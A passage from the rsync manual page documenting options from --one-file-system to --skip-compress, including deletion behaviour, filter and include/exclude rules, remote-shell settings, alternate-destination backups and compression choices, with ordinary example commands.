The use of the –checksum-choice option overrides this environment list.

–one-file-system, -x
This tells rsync to avoid crossing a filesystem boundary when recursing. This does not limit the user’s ability to specify items to copy from multiple filesystems, just rsync’s recursion through the hierarchy of each directory that the user specified, and also the analogous recursion on the receiving side during deletion. Also keep in mind that rsync treats a “bind” mount to the same device as being on the same filesystem.

If this option is repeated, rsync omits all mount-point directories from the copy. Otherwise, it includes an empty directory at each mount-point it encounters (using the attributes of the mounted directory because those of the underlying mount-point directory are inaccessible).

If rsync has been told to collapse symlinks (via –copy-links or –copy-unsafe-links), a symlink to a directory on another device is treated like a mount-point. Symlinks to non-directories are unaffected by this option.

–ignore-non-existing, –existing
This tells rsync to skip creating files (including directories) that do not exist yet on the destination. If this option is combined with the –ignore-existing option, no files will be updated (which can be useful if all you want to do is delete extraneous files).

This option is a TRANSFER RULE, so don’t expect any exclude side effects.

–ignore-existing
This tells rsync to skip updating files that already exist on the destination (this does not ignore existing directories, or nothing would get done). See also –ignore-non-existing.

This option is a TRANSFER RULE, so don’t expect any exclude side effects.

This option can be useful for those doing backups using the –link-dest option when they need to continue a backup run that got interrupted. Since a –link-dest run is copied into a new directory hierarchy (when it is used properly), using [–ignore-existing will ensure that the already-handled files don’t get tweaked (which avoids a change in permissions on the hard-linked files). This does mean that this option is only looking at the existing files in the destination hierarchy itself.

When –info=skip2 is used rsync will output “FILENAME exists (INFO)” messages where the INFO indicates one of “type change”, “sum change” (requires -c), “file change” (based on the quick check), “attr change”, or “uptodate”. Using –info=skip1 (which is also implied by 2 -v options) outputs the exists message without the INFO suffix.

–remove-source-files
This tells rsync to remove from the sending side the files (meaning non-directories) that are a part of the transfer and have been successfully duplicated on the receiving side.

Note that you should only use this option on source files that are quiescent. If you are using this to move files that show up in a particular directory over to another host, make sure that the finished files get renamed into the source directory, not directly written into it, so that rsync can’t possibly transfer a file that is not yet fully written. If you can’t first write the files into a different directory, you should use a naming idiom that lets rsync avoid transferring files that are not yet finished (e.g. name the file “foo.new” when it is written, rename it to “foo” when it is done, and then use the option –exclude=’*.new’ for the rsync transfer).

Starting with 3.1.0, rsync will skip the sender-side removal (and output an error) if the file’s size or modify time has not stayed unchanged.

Starting with 3.2.6, a local rsync copy will ensure that the sender does not remove a file the receiver just verified, such as when the user accidentally makes the source and destination directory the same path.

–delete
This tells rsync to delete extraneous files from the receiving side (ones that aren’t on the sending side), but only for the directories that are being synchronized. You must have asked rsync to send the whole directory (e.g. “dir” or “dir/”) without using a wildcard for the directory’s contents (e.g. “dir/*”) since the wildcard is expanded by the shell and rsync thus gets a request to transfer individual files, not the files’ parent directory. Files that are excluded from the transfer are also excluded from being deleted unless you use the –delete-excluded option or mark the rules as only matching on the sending side (see the include/exclude modifiers in the FILTER RULES section).

Prior to rsync 2.6.7, this option would have no effect unless –recursive was enabled. Beginning with 2.6.7, deletions will also occur when –dirs (-d) is enabled, but only for directories whose contents are being copied.

This option can be dangerous if used incorrectly! It is a very good idea to first try a run using the –dry-run (-n) option to see what files are going to be deleted.

If the sending side detects any I/O errors, then the deletion of any files at the destination will be automatically disabled. This is to prevent temporary filesystem failures (such as NFS errors) on the sending side from causing a massive deletion of files on the destination. You can override this with the –ignore-errors option.

The –delete option may be combined with one of the –delete-WHEN options without conflict, as well as –delete-excluded. However, if none of the –delete-WHEN options are specified, rsync will choose the –delete-during algorithm when talking to rsync 3.0.0 or newer, or the –delete-before algorithm when talking to an older rsync. See also –delete-delay and –delete-after.

–delete-before
Request that the file-deletions on the receiving side be done before the transfer starts. See –delete (which is implied) for more details on file-deletion.

Deleting before the transfer is helpful if the filesystem is tight for space and removing extraneous files would help to make the transfer possible. However, it does introduce a delay before the start of the transfer, and this delay might cause the transfer to timeout (if –timeout was specified). It also forces rsync to use the old, non-incremental recursion algorithm that requires rsync to scan all the files in the transfer into memory at once (see –recursive).

–delete-during, –del
Request that the file-deletions on the receiving side be done incrementally as the transfer happens. The per-directory delete scan is done right before each directory is checked for updates, so it behaves like a more efficient –delete-before, including doing the deletions prior to any per-directory filter files being updated. This option was first added in rsync version 2.6.4. See –delete (which is implied) for more details on file-deletion.

–delete-delay
Request that the file-deletions on the receiving side be computed during the transfer (like –delete-during), and then removed after the transfer completes. This is useful when combined with –delay-updates and/or –fuzzy, and is more efficient than using –delete-after (but can behave differently, since –delete-after computes the deletions in a separate pass after all updates are done). If the number of removed files overflows an internal buffer, a temporary file will be created on the receiving side to hold the names (it is removed while open, so you shouldn’t see it during the transfer). If the creation of the temporary file fails, rsync will try to fall back to using –delete-after (which it cannot do if –recursive is doing an incremental scan). See –delete (which is implied) for more details on file-deletion.

–delete-after
Request that the file-deletions on the receiving side be done after the transfer has completed. This is useful if you are sending new per-directory merge files as a part of the transfer and you want their exclusions to take effect for the delete phase of the current transfer. It also forces rsync to use the old, non-incremental recursion algorithm that requires rsync to scan all the files in the transfer into memory at once (see –recursive). See –delete (which is implied) for more details on file-deletion.

See also the –delete-delay option that might be a faster choice for those that just want the deletions to occur at the end of the transfer.

–delete-excluded
This option turns any unqualified exclude/include rules into server-side rules that do not affect the receiver’s deletions.

By default, an exclude or include has both a server-side effect (to “hide” and “show” files when building the server’s file list) and a receiver-side effect (to “protect” and “risk” files when deletions are occurring). Any rule that has no modifier to specify what sides it is executed on will be instead treated as if it were a server-side rule only, avoiding any “protect” effects of the rules.

A rule can still apply to both sides even with this option specified if the rule is given both the sender & receiver modifier letters (e.g., -f’-sr foo’). Receiver-side protect/risk rules can also be explicitly specified to limit the deletions. This saves you from having to edit a bunch of -f’- foo’ rules into -f’-s foo’ (aka -f’H foo’) rules (not to mention the corresponding includes).

See the FILTER RULES section for more information. See –delete (which is implied) for more details on deletion.

–ignore-missing-args
When rsync is first processing the explicitly requested source files (e.g. command-line arguments or –files-from entries), it is normally an error if the file cannot be found. This option suppresses that error, and does not try to transfer the file. This does not affect subsequent vanished-file errors if a file was initially found to be present and later is no longer there.

–delete-missing-args
This option takes the behavior of the (implied) –ignore-missing-args option a step farther: each missing arg will become a deletion request of the corresponding destination file on the receiving side (should it exist). If the destination file is a non-empty directory, it will only be successfully deleted if –force or –delete are in effect. Other than that, this option is independent of any other type of delete processing.

The missing source files are represented by special file-list entries which display as a “*missing” entry in the –list-only output.

–ignore-errors
Tells –delete to go ahead and delete files even when there are I/O errors.

–force
This option tells rsync to delete a non-empty directory when it is to be replaced by a non-directory. This is only relevant if deletions are not active (see –delete for details).

Note for older rsync versions: –force used to still be required when using –delete-after, and it used to be non-functional unless the –recursive option was also enabled.

–max-delete=NUM
This tells rsync not to delete more than NUM files or directories. If that limit is exceeded, all further deletions are skipped through the end of the transfer. At the end, rsync outputs a warning (including a count of the skipped deletions) and exits with an error code of 25 (unless some more important error condition also occurred).

Beginning with version 3.0.0, you may specify –max-delete=0 to be warned about any extraneous files in the destination without removing any of them. Older clients interpreted this as “unlimited”, so if you don’t know what version the client is, you can use the less obvious –max-delete=-1 as a backward-compatible way to specify that no deletions be allowed (though really old versions didn’t warn when the limit was exceeded).

–max-size=SIZE
This tells rsync to avoid transferring any file that is larger than the specified SIZE. A numeric value can be suffixed with a string to indicate the numeric units or left unqualified to specify bytes. Feel free to use a fractional value along with the units, such as –max-size=1.5m.

This option is a TRANSFER RULE, so don’t expect any exclude side effects.

The first letter of a units string can be B (bytes), K (kilo), M (mega), G (giga), T (tera), or P (peta). If the string is a single char or has “ib” added to it (e.g. “G” or “GiB”) then the units are multiples of 1024. If you use a two-letter suffix that ends with a “B” (e.g. “kb”) then you get units that are multiples of 1000. The string’s letters can be any mix of upper and lower-case that you want to use.

Finally, if the string ends with either “+1” or “-1”, it is offset by one byte in the indicated direction. The largest possible value is usually 8192P-1.

Examples: –max-size=1.5mb-1 is 1499999 bytes, and –max-size=2g+1 is 2147483649 bytes.

Note that rsync versions prior to 3.1.0 did not allow –max-size=0.

–min-size=SIZE
This tells rsync to avoid transferring any file that is smaller than the specified SIZE, which can help in not transferring small, junk files. See the –max-size option for a description of SIZE and other info.

Note that rsync versions prior to 3.1.0 did not allow –min-size=0.

–max-alloc=SIZE
By default rsync limits an individual malloc/realloc to about 1GB in size. For most people this limit works just fine and prevents a protocol error causing rsync to request massive amounts of memory. However, if you have many millions of files in a transfer, a large amount of server memory, and you don’t want to split up your transfer into multiple parts, you can increase the per-allocation limit to something larger and rsync will consume more memory.

Keep in mind that this is not a limit on the total size of allocated memory. It is a sanity-check value for each individual allocation.

See the –max-size option for a description of how SIZE can be specified. The default suffix if none is given is bytes.

Beginning in 3.2.7, a value of 0 is an easy way to specify SIZE_MAX (the largest limit possible).

You can set a default value using the environment variable RSYNC_MAX_ALLOC using the same SIZE values as supported by this option. If the remote rsync doesn’t understand the –max-alloc option, you can override an environmental value by specifying –max-alloc=1g, which will make rsync avoid sending the option to the remote side (because “1G” is the default).

–block-size=SIZE, -B
This forces the block size used in rsync’s delta-transfer algorithm to a fixed value. It is normally selected based on the size of each file being updated. See the technical report for details.

Beginning in 3.2.3 the SIZE can be specified with a suffix as detailed in the –max-size option. Older versions only accepted a byte count.

–rsh=COMMAND, -e
This option allows you to choose an alternative remote shell program to use for communication between the local and remote copies of rsync. Typically, rsync is configured to use ssh by default, but you may prefer to use rsh on a local network.

If this option is used with [user@]host::module/path, then the remote shell COMMAND will be used to run an rsync daemon on the remote host, and all data will be transmitted through that remote shell connection, rather than through a direct socket connection to a running rsync daemon on the remote host. See the USING RSYNC-DAEMON FEATURES VIA A REMOTE-SHELL CONNECTION section above.

Beginning with rsync 3.2.0, the RSYNC_PORT environment variable will be set when a daemon connection is being made via a remote-shell connection. It is set to 0 if the default daemon port is being assumed, or it is set to the value of the rsync port that was specified via either the –port option or a non-empty port value in an rsync:// URL. This allows the script to discern if a non-default port is being requested, allowing for things such as an SSL or stunnel helper script to connect to a default or alternate port.

Command-line arguments are permitted in COMMAND provided that COMMAND is presented to rsync as a single argument. You must use spaces (not tabs or other whitespace) to separate the command and args from each other, and you can use single- and/or double-quotes to preserve spaces in an argument (but not backslashes). Note that doubling a single-quote inside a single-quoted string gives you a single-quote; likewise for double-quotes (though you need to pay attention to which quotes your shell is parsing and which quotes rsync is parsing). Some examples:

-e 'ssh -p 2234'
-e 'ssh -o "ProxyCommand nohup ssh firewall nc -w1 %h %p"'

(Note that ssh users can alternately customize site-specific connect options in their .ssh/config file.)

You can also choose the remote shell program using the RSYNC_RSH environment variable, which accepts the same range of values as -e.

See also the –blocking-io option which is affected by this option.

–rsync-path=PROGRAM
Use this to specify what program is to be run on the remote machine to start-up rsync. Often used when rsync is not in the default remote-shell’s path (e.g. –rsync-path=/usr/local/bin/rsync). Note that PROGRAM is run with the help of a shell, so it can be any program, script, or command sequence you’d care to run, so long as it does not corrupt the standard-in & standard-out that rsync is using to communicate.

One tricky example is to set a different default directory on the remote machine for use with the –relative option. For instance:

rsync -avR --rsync-path="cd /a/b && rsync" host:c/d /e/

–remote-option=OPTION, -M
This option is used for more advanced situations where you want certain effects to be limited to one side of the transfer only. For instance, if you want to pass –log-file=FILE and –fake-super to the remote system, specify it like this:

rsync -av -M --log-file=foo -M--fake-super src/ dest/

If you want to have an option affect only the local side of a transfer when it normally affects both sides, send its negation to the remote side. Like this:

rsync -av -x -M--no-x src/ dest/

Be cautious using this, as it is possible to toggle an option that will cause rsync to have a different idea about what data to expect next over the socket, and that will make it fail in a cryptic fashion.

Note that you should use a separate -M option for each remote option you want to pass. On older rsync versions, the presence of any spaces in the remote-option arg could cause it to be split into separate remote args, but this requires the use of –old-args in a modern rsync.

When performing a local transfer, the “local” side is the sender and the “remote” side is the receiver.

Note some versions of the popt option-parsing library have a bug in them that prevents you from using an adjacent arg with an equal in it next to a short option letter (e.g. -M–log-file=/tmp/foo). If this bug affects your version of popt, you can use the version of popt that is included with rsync.

–cvs-exclude, -C
This is a useful shorthand for excluding a broad range of files that you often don’t want to transfer between systems. It uses a similar algorithm to CVS to determine if a file should be ignored.

The exclude list is initialized to exclude the following items (these initial items are marked as perishable – see the FILTER RULES section):

RCS SCCS CVS CVS.adm RCSLOG cvslog.* tags TAGS .make.state .nse_depinfo *~ #* .#* ,* _$* *$ *.old *.bak *.BAK *.orig *.rej .del-* *.a *.olb *.o *.obj *.so *.exe *.Z *.elc *.ln core .svn/ .git/ .hg/ .bzr/

then, files listed in a $HOME/.cvsignore are added to the list and any files listed in the CVSIGNORE environment variable (all cvsignore names are delimited by whitespace).

Finally, any file is ignored if it is in the same directory as a .cvsignore file and matches one of the patterns listed therein. Unlike rsync’s filter/exclude files, these patterns are split on whitespace. See the cvs(1) manual for more information.

If you’re combining -C with your own –filter rules, you should note that these CVS excludes are appended at the end of your own rules, regardless of where the -C was placed on the command-line. This makes them a lower priority than any rules you specified explicitly. If you want to control where these CVS excludes get inserted into your filter rules, you should omit the -C as a command-line option and use a combination of –filter=:C and –filter=-C (either on your command-line or by putting the “:C” and “-C” rules into a filter file with your other rules). The first option turns on the per-directory scanning for the .cvsignore file. The second option does a one-time import of the CVS excludes mentioned above.

–filter=RULE, -f
This option allows you to add rules to selectively exclude certain files from the list of files to be transferred. This is most useful in combination with a recursive transfer.

You may use as many –filter options on the command line as you like to build up the list of files to exclude. If the filter contains whitespace, be sure to quote it so that the shell gives the rule to rsync as a single argument. The text below also mentions that you can use an underscore to replace the space that separates a rule from its arg.

See the FILTER RULES section for detailed information on this option.

-F
The -F option is a shorthand for adding two –filter rules to your command. The first time it is used is a shorthand for this rule:

--filter='dir-merge /.rsync-filter'

This tells rsync to look for per-directory .rsync-filter files that have been sprinkled through the hierarchy and use their rules to filter the files in the transfer. If -F is repeated, it is a shorthand for this rule:

--filter='exclude .rsync-filter'

This filters out the .rsync-filter files themselves from the transfer.

See the FILTER RULES section for detailed information on how these options work.

–exclude=PATTERN
This option is a simplified form of the –filter option that specifies an exclude rule and does not allow the full rule-parsing syntax of normal filter rules. This is equivalent to specifying -f’- PATTERN’.

See the FILTER RULES section for detailed information on this option.

–exclude-from=FILE
This option is related to the –exclude option, but it specifies a FILE that contains exclude patterns (one per line). Blank lines in the file are ignored, as are whole-line comments that start with ‘;’ or ‘#’ (filename rules that contain those characters are unaffected).

If a line begins with “- " (dash, space) or “+ " (plus, space), then the type of rule is being explicitly specified as an exclude or an include (respectively). Any rules without such a prefix are taken to be an exclude.

If a line consists of just “!”, then the current filter rules are cleared before adding any further rules.

If FILE is ‘-’, the list will be read from standard input.

–include=PATTERN
This option is a simplified form of the –filter option that specifies an include rule and does not allow the full rule-parsing syntax of normal filter rules. This is equivalent to specifying -f’+ PATTERN’.

See the FILTER RULES section for detailed information on this option.

–include-from=FILE
This option is related to the –include option, but it specifies a FILE that contains include patterns (one per line). Blank lines in the file are ignored, as are whole-line comments that start with ‘;’ or ‘#’ (filename rules that contain those characters are unaffected).

If a line begins with “- " (dash, space) or “+ " (plus, space), then the type of rule is being explicitly specified as an exclude or an include (respectively). Any rules without such a prefix are taken to be an include.

If a line consists of just “!”, then the current filter rules are cleared before adding any further rules.

If FILE is ‘-’, the list will be read from standard input.

–files-from=FILE
Using this option allows you to specify the exact list of files to transfer (as read from the specified FILE or ‘-’ for standard input). It also tweaks the default behavior of rsync to make transferring just the specified files and directories easier:

  1. The –relative (-R) option is implied, which preserves the path information that is specified for each item in the file (use –no-relative or –no-R if you want to turn that off).

  2. The –dirs (-d) option is implied, which will create directories specified in the list on the destination rather than noisily skipping them (use –no-dirs or –no-d if you want to turn that off).

  3. The –archive (-a) option’s behavior does not imply –recursive (-r), so specify it explicitly, if you want it.

  4. These side-effects change the default state of rsync, so the position of the –files-from option on the command-line has no bearing on how other options are parsed (e.g. -a works the same before or after –files-from, as does –no-R and all other options).

The filenames that are read from the FILE are all relative to the source dir – any leading slashes are removed and no “..” references are allowed to go higher than the source dir. For example, take this command:

rsync -a –files-from=/tmp/foo /usr remote:/backup

If /tmp/foo contains the string “bin” (or even “/bin”), the /usr/bin directory will be created as /backup/bin on the remote host. If it contains “bin/” (note the trailing slash), the immediate contents of the directory would also be sent (without needing to be explicitly mentioned in the file – this began in version 2.6.4). In both cases, if the -r option was enabled, that dir’s entire hierarchy would also be transferred (keep in mind that -r needs to be specified explicitly with –files-from, since it is not implied by -a. Also note that the effect of the (enabled by default) -r option is to duplicate only the path info that is read from the file – it does not force the duplication of the source-spec path (/usr in this case).

In addition, the –files-from file can be read from the remote host instead of the local host if you specify a “host:” in front of the file (the host must match one end of the transfer). As a short-cut, you can specify just a prefix of “:” to mean “use the remote end of the transfer”. For example:

rsync -a –files-from=:/path/file-list src:/ /tmp/copy

This would copy all the files specified in the /path/file-list file that was located on the remote “src” host.

If the –iconv and –secluded-args options are specified and the –files-from filenames are being sent from one host to another, the filenames will be translated from the sending host’s charset to the receiving host’s charset.

NOTE: sorting the list of files in the –files-from input helps rsync to be more efficient, as it will avoid re-visiting the path elements that are shared between adjacent entries. If the input is not sorted, some path elements (implied directories) may end up being scanned multiple times, and rsync will eventually unduplicate them after they get turned into file-list elements.

–from0, -0
This tells rsync that the rules/filenames it reads from a file are terminated by a null (‘�’) character, not a NL, CR, or CR+LF. This affects –exclude-from, –include-from, –files-from, and any merged files specified in a –filter rule. It does not affect –cvs-exclude (since all names read from a .cvsignore file are split on whitespace).

–old-args
This option tells rsync to stop trying to protect the arg values on the remote side from unintended word-splitting or other misinterpretation. It also allows the client to treat an empty arg as a “.” instead of generating an error.

The default in a modern rsync is for “shell-active” characters (including spaces) to be backslash-escaped in the args that are sent to the remote shell. The wildcard characters *, ?, [, & ] are not escaped in filename args (allowing them to expand into multiple filenames) while being protected in option args, such as –usermap.

If you have a script that wants to use old-style arg splitting in its filenames, specify this option once. If the remote shell has a problem with any backslash escapes at all, specify this option twice.

You may also control this setting via the RSYNC_OLD_ARGS environment variable. If it has the value “1”, rsync will default to a single-option setting. If it has the value “2” (or more), rsync will default to a repeated-option setting. If it is “0”, you’ll get the default escaping behavior. The environment is always overridden by manually specified positive or negative options (the negative is –no-old-args).

Note that this option also disables the extra safety check added in 3.2.5 that ensures that a remote sender isn’t including extra top-level items in the file-list that you didn’t request. This side-effect is necessary because we can’t know for sure what names to expect when the remote shell is interpreting the args.

This option conflicts with the –secluded-args option.

–secluded-args, -s
This option sends all filenames and most options to the remote rsync via the protocol (not the remote shell command line) which avoids letting the remote shell modify them. Wildcards are expanded on the remote host by rsync instead of a shell.

This is similar to the default backslash-escaping of args that was added in 3.2.4 (see –old-args) in that it prevents things like space splitting and unwanted special-character side-effects. However, it has the drawbacks of being incompatible with older rsync versions (prior to 3.0.0) and of being refused by restricted shells that want to be able to inspect all the option values for safety.

This option is useful for those times that you need the argument’s character set to be converted for the remote host, if the remote shell is incompatible with the default backslash-escpaing method, or there is some other reason that you want the majority of the options and arguments to bypass the command-line of the remote shell.

If you combine this option with –iconv, the args related to the remote side will be translated from the local to the remote character-set. The translation happens before wild-cards are expanded. See also the –files-from option.

You may also control this setting via the RSYNC_PROTECT_ARGS environment variable. If it has a non-zero value, this setting will be enabled by default, otherwise it will be disabled by default. Either state is overridden by a manually specified positive or negative version of this option (note that –no-s and –no-secluded-args are the negative versions). This environment variable is also superseded by a non-zero RSYNC_OLD_ARGS export.

This option conflicts with the –old-args option.

This option used to be called –protect-args (before 3.2.6) and that older name can still be used (though specifying it as -s is always the easiest and most compatible choice).

–trust-sender
This option disables two extra validation checks that a local client performs on the file list generated by a remote sender. This option should only be used if you trust the sender to not put something malicious in the file list (something that could possibly be done via a modified rsync, a modified shell, or some other similar manipulation).

Normally, the rsync client (as of version 3.2.5) runs two extra validation checks when pulling files from a remote rsync:

  1. It verifies that additional arg items didn’t get added at the top of the transfer.

  2. It verifies that none of the items in the file list are names that should have been excluded (if filter rules were specified).

Note that various options can turn off one or both of these checks if the option interferes with the validation. For instance:

  1. Using a per-directory filter file reads filter rules that only the server knows about, so the filter checking is disabled.

  2. Using the –old-args option allows the sender to manipulate the requested args, so the arg checking is disabled.

  3. Reading the files-from list from the server side means that the client doesn’t know the arg list, so the arg checking is disabled.

  4. Using –read-batch disables both checks since the batch file’s contents will have been verified when it was created.

This option may help an under-powered client server if the extra pattern matching is slowing things down on a huge transfer. It can also be used to work around a currently-unknown bug in the verification logic for a transfer from a trusted sender.

When using this option it is a good idea to specify a dedicated destination directory, as discussed in the MULTI-HOST SECURITY section.

–copy-as=USER[:GROUP]
This option instructs rsync to use the USER and (if specified after a colon) the GROUP for the copy operations. This only works if the user that is running rsync has the ability to change users. If the group is not specified then the user’s default groups are used.

This option can help to reduce the risk of an rsync being run as root into or out of a directory that might have live changes happening to it and you want to make sure that root-level read or write actions of system files are not possible. While you could alternatively run all of rsync as the specified user, sometimes you need the root-level host-access credentials to be used, so this allows rsync to drop root for the copying part of the operation after the remote-shell or daemon connection is established.

The option only affects one side of the transfer unless the transfer is local, in which case it affects both sides. Use the –remote-option to affect the remote side, such as -M–copy-as=joe. For a local transfer, the lsh (or lsh.sh) support file provides a local-shell helper script that can be used to allow a “localhost:” or “lh:” host-spec to be specified without needing to setup any remote shells, allowing you to specify remote options that affect the side of the transfer that is using the host-spec (and using hostname “lh” avoids the overriding of the remote directory to the user’s home dir).

For example, the following rsync writes the local files as user “joe”:

sudo rsync -aiv --copy-as=joe host1:backups/joe/ /home/joe/

This makes all files owned by user “joe”, limits the groups to those that are available to that user, and makes it impossible for the joe user to do a timed exploit of the path to induce a change to a file that the joe user has no permissions to change.

The following command does a local copy into the “dest/” dir as user “joe” (assuming you’ve installed support/lsh into a dir on your $PATH):

sudo rsync -aive lsh -M--copy-as=joe src/ lh:dest/

–temp-dir=DIR, -T
This option instructs rsync to use DIR as a scratch directory when creating temporary copies of the files transferred on the receiving side. The default behavior is to create each temporary file in the same directory as the associated destination file. Beginning with rsync 3.1.1, the temp-file names inside the specified DIR will not be prefixed with an extra dot (though they will still have a random suffix added).

This option is most often used when the receiving disk partition does not have enough free space to hold a copy of the largest file in the transfer. In this case (i.e. when the scratch directory is on a different disk partition), rsync will not be able to rename each received temporary file over the top of the associated destination file, but instead must copy it into place. Rsync does this by copying the file over the top of the destination file, which means that the destination file will contain truncated data during this copy. If this were not done this way (even if the destination file were first removed, the data locally copied to a temporary file in the destination directory, and then renamed into place) it would be possible for the old file to continue taking up disk space (if someone had it open), and thus there might not be enough room to fit the new version on the disk at the same time.

If you are using this option for reasons other than a shortage of disk space, you may wish to combine it with the –delay-updates option, which will ensure that all copied files get put into subdirectories in the destination hierarchy, awaiting the end of the transfer. If you don’t have enough room to duplicate all the arriving files on the destination partition, another way to tell rsync that you aren’t overly concerned about disk space is to use the –partial-dir option with a relative path; because this tells rsync that it is OK to stash off a copy of a single file in a subdir in the destination hierarchy, rsync will use the partial-dir as a staging area to bring over the copied file, and then rename it into place from there. (Specifying a –partial-dir with an absolute path does not have this side-effect.)

–fuzzy, -y
This option tells rsync that it should look for a basis file for any destination file that is missing. The current algorithm looks in the same directory as the destination file for either a file that has an identical size and modified-time, or a similarly-named file. If found, rsync uses the fuzzy basis file to try to speed up the transfer.

If the option is repeated, the fuzzy scan will also be done in any matching alternate destination directories that are specified via –compare-dest, –copy-dest, or –link-dest.

Note that the use of the –delete option might get rid of any potential fuzzy-match files, so either use –delete-after or specify some filename exclusions if you need to prevent this.

–compare-dest=DIR
This option instructs rsync to use DIR on the destination machine as an additional hierarchy to compare destination files against doing transfers (if the files are missing in the destination directory). If a file is found in DIR that is identical to the sender’s file, the file will NOT be transferred to the destination directory. This is useful for creating a sparse backup of just files that have changed from an earlier backup. This option is typically used to copy into an empty (or newly created) directory.

Beginning in version 2.6.4, multiple –compare-dest directories may be provided, which will cause rsync to search the list in the order specified for an exact match. If a match is found that differs only in attributes, a local copy is made and the attributes updated. If a match is not found, a basis file from one of the DIRs will be selected to try to speed up the transfer.

If DIR is a relative path, it is relative to the destination directory. See also –copy-dest and –link-dest.

NOTE: beginning with version 3.1.0, rsync will remove a file from a non-empty destination hierarchy if an exact match is found in one of the compare-dest hierarchies (making the end result more closely match a fresh copy).

–copy-dest=DIR
This option behaves like –compare-dest, but rsync will also copy unchanged files found in DIR to the destination directory using a local copy. This is useful for doing transfers to a new destination while leaving existing files intact, and then doing a flash-cutover when all files have been successfully transferred.

Multiple –copy-dest directories may be provided, which will cause rsync to search the list in the order specified for an unchanged file. If a match is not found, a basis file from one of the DIRs will be selected to try to speed up the transfer.

If DIR is a relative path, it is relative to the destination directory. See also –compare-dest and –link-dest.

–link-dest=DIR
This option behaves like –copy-dest, but unchanged files are hard linked from DIR to the destination directory. The files must be identical in all preserved attributes (e.g. permissions, possibly ownership) in order for the files to be linked together. An example:

rsync -av --link-dest=$PWD/prior_dir host:src_dir/ new_dir/

If files aren’t linking, double-check their attributes. Also check if some attributes are getting forced outside of rsync’s control, such a mount option that squishes root to a single user, or mounts a removable drive with generic ownership (such as OS X’s “Ignore ownership on this volume” option).

Beginning in version 2.6.4, multiple –link-dest directories may be provided, which will cause rsync to search the list in the order specified for an exact match (there is a limit of 20 such directories). If a match is found that differs only in attributes, a local copy is made and the attributes updated. If a match is not found, a basis file from one of the DIRs will be selected to try to speed up the transfer.

This option works best when copying into an empty destination hierarchy, as existing files may get their attributes tweaked, and that can affect alternate destination files via hard-links. Also, itemizing of changes can get a bit muddled. Note that prior to version 3.1.0, an alternate-directory exact match would never be found (nor linked into the destination) when a destination file already exists.

Note that if you combine this option with –ignore-times, rsync will not link any files together because it only links identical files together as a substitute for transferring the file, never as an additional check after the file is updated.

If DIR is a relative path, it is relative to the destination directory. See also –compare-dest and –copy-dest.

Note that rsync versions prior to 2.6.1 had a bug that could prevent –link-dest from working properly for a non-super-user when –owner (-o) was specified (or implied). You can work-around this bug by avoiding the -o option (or using –no-o) when sending to an old rsync.

–compress, -z
With this option, rsync compresses the file data as it is sent to the destination machine, which reduces the amount of data being transmitted – something that is useful over a slow connection.

Rsync supports multiple compression methods and will choose one for you unless you force the choice using the –compress-choice (–zc) option.

Run rsync –version to see the default compress list compiled into your version.

When both sides of the transfer are at least 3.2.0, rsync chooses the first algorithm in the client’s list of choices that is also in the server’s list of choices. If no common compress choice is found, rsync exits with an error. If the remote rsync is too old to support checksum negotiation, its list is assumed to be “zlib”.

The default order can be customized by setting the environment variable RSYNC_COMPRESS_LIST to a space-separated list of acceptable compression names. If the string contains a “&” character, it is separated into the “client string & server string”, otherwise the same string applies to both. If the string (or string portion) contains no non-whitespace characters, the default compress list is used. Any unknown compression names are discarded from the list, but a list with only invalid names results in a failed negotiation.

There are some older rsync versions that were configured to reject a -z option and require the use of -zz because their compression library was not compatible with the default zlib compression method. You can usually ignore this weirdness unless the rsync server complains and tells you to specify -zz.

–compress-choice=STR, –zc=STR
This option can be used to override the automatic negotiation of the compression algorithm that occurs when –compress is used. The option implies –compress unless “none” was specified, which instead implies –no-compress.

The compression options that you may be able to use are:

  1. zstd

  2. lz4

  3. zlibx

  4. zlib

  5. none

Run rsync –version to see the default compress list compiled into your version (which may differ from the list above).

Note that if you see an error about an option named –old-compress or –new-compress, this is rsync trying to send the –compress-choice=zlib or –compress-choice=zlibx option in a backward-compatible manner that more rsync versions understand. This error indicates that the older rsync version on the server will not allow you to force the compression type.

Note that the “zlibx” compression algorithm is just the “zlib” algorithm with matched data excluded from the compression stream (to try to make it more compatible with an external zlib implementation).

–compress-level=NUM, –zl=NUM
Explicitly set the compression level to use (see –compress, -z) instead of letting it default. The –compress option is implied as long as the level chosen is not a “don’t compress” level for the compression algorithm that is in effect (e.g. zlib compression treats level 0 as “off”).

The level values vary depending on the checksum in effect. Because rsync will negotiate a checksum choice by default (when the remote rsync is new enough), it can be good to combine this option with a –compress-choice (–zc) option unless you’re sure of the choice in effect. For example:

rsync -aiv --zc=zstd --zl=22 host:src/ dest/

For zlib & zlibx compression the valid values are from 1 to 9 with 6 being the default. Specifying –zl=0 turns compression off, and specifying –zl=-1 chooses the default level of 6.

For zstd compression the valid values are from -131072 to 22 with 3 being the default. Specifying 0 chooses the default of 3.

For lz4 compression there are no levels, so the value is always 0.

If you specify a too-large or too-small value, the number is silently limited to a valid value. This allows you to specify something like –zl=999999999 and be assured that you’ll end up with the maximum compression level no matter what algorithm was chosen.

If you want to know the compression level that is in effect, specify –debug=nstr to see the “negotiated string” results. This will report something like “Client compress: zstd (level 3)” (along with the checksum choice in effect).

–skip-compress=LIST
NOTE: no compression method currently supports per-file compression changes, so this option has no effect.

Override the list of file suffixes that will be compressed as little as possible. Rsync sets the compression level on a per-file basis based on the file’s suffix. If the compression algorithm has an “off” level, then no compression occurs for those files. Other algorithms that support changing the streaming level on-the-fly will have the level minimized to reduces the CPU usage as much as possible for a matching file.

The LIST should be one or more file suffixes (without the dot) separated by slashes (/). You may specify an empty string to indicate that no files should be skipped.

Simple character-class matching is supported: each must consist of a list of letters inside the square brackets (e.g. no special classes, such as “[:alpha:]”, are supported, and ‘-’ has no special meaning).

The characters asterisk (*) and question-mark (?) have no special meaning.

Here’s an example that specifies 6 suffixes to skip (since 1 of the 5 rules matches 2 suffixes):

--skip-compress=gz/jpg/mp[34]/7z/bz2

The default file suffixes in the skip-compress list in this version of rsync are:

3g2 3gp 7z aac ace apk avi bz2 deb dmg ear f4v flac flv gpg gz iso jar jpeg jpg lrz lz lz4 lzma lzo m1a m1v m2a m2ts m2v m4a m4b m4p m4r m4v mka mkv mov mp1 mp2 mp3 mp4 mpa mpeg mpg mpv mts odb odf odg odi odm odp ods odt oga ogg ogm ogv ogx opus otg oth otp ots ott oxt png qt rar rpm rz rzip spx squashfs sxc sxd sxg sxm sxw sz tbz tbz2 tgz tlz ts txz tzo vob war webm webp xz z zip zst

This list will be replaced by your –skip-compress list in all but one situation: a copy from a daemon rsync will add your skipped suffixes to its list of non-compressing files (and its list may be configured to a different default).

–numeric-ids
